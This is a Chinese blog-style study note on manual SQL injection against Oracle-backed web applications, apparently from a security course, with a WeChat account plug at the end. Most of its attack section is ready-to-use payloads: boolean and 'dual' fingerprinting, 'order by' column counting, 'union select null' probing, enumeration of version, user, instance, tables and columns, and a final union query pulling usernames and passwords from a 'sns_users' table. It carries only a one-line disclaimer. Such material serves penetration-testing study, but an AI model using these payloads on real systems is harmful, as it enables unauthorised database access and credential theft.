某教程学习笔记(一):10、oracle数据库注入

这个社会,最可悲的莫过于那些既不是学霸,也不全是学渣的人,他们听不懂课,作业不会做,不逃课,不捣乱纪律,为考试着急,却又无奈与现状,三分钟热度,又恨自己不争气,更是以最普遍的身份埋没在人群中,正过着最最煎熬的日子。。。。

一、Oracle数据库

一般大型企业都会用到,物流、旅游、航空、银行等等。。。

1、支持多用户、大事务量的处理

2、数据安全性和完整性的有效控制

3、支持分布式数据处理

4、移植性强

二、手动注入

1、判断是否存在

and 1=1 返回正常

and 1=2 返回错误
某教程学习笔记(一):10、oracle数据库注入

2、判断是否是Oracle数据库

and exists(select * from dual)

and exists(select * from user_tables)

返回正常说明是oracle

3、判断数列

order by 2 返回正常,说明有两列

4、联合查询

union select null,null from dual,这里不能写1,2 需要用null替换,然后将每个null用数字和字符替换一下,发现数字就报错,字符不报错

union select 1,null from dual 报错

union select null,1 from dual 报错

union select ‘null’,‘null’ from dual 返回如下界面,这时就可以用下面的查询语句了

5、获取数据库版本

(select banner from sys.v_$Version where rownum=1)
某教程学习笔记(一):10、oracle数据库注入

6、获取连接数据库的当前用户

(select SYS_CONTEXT(‘USERENV’,‘CURRENT_USER’)from dual)

某教程学习笔记(一):10、oracle数据库注入
7、获取数据库

(select instance_name from v$instance) 获取当前数据库
某教程学习笔记(一):10、oracle数据库注入

(select owner from all_tables where rownum=1)获取第一个数据库
某教程学习笔记(一):10、oracle数据库注入

(select owner from all_tables where rownum=1 and owner<>‘SYS’)获取第二个数据库

8、获取表名

(select table_name from user_tables where rownum=1 and table_name like ‘%users%’) from dual
某教程学习笔记(一):10、oracle数据库注入

10、获取列名

(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1)

某教程学习笔记(一):10、oracle数据库注入

11、获取第二列名

(select column_name from user_tab_columns where table_name=‘sns_users’ and rownum=1 and column_name<>‘USER_NAME’)

12、获取字段内容

id=1 and 1=2 union select USER_NAME,USER_PWD from “sns_users”
某教程学习笔记(一):10、oracle数据库注入
union select USER_NAME,USER_PWD from “sns_users” where USER_NAME<>‘hu’ 获取第二个用户信息

禁止非法,后果自负
欢迎关注公众号:web安全工具库
某教程学习笔记(一):10、oracle数据库注入